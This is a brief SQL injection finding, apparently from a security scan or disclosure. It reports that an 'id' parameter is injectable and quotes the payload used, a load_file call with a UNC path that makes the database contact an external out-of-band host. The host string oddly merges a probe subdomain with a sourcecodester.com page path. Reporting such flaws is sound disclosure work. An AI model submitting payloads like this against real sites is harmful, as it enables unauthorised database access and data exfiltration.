## Description:
The `id` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\sply2l4679zip0am6y4b4djnsey7m4avdj46vuk.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html\\ujf'))+' was submitted in the id parameter.
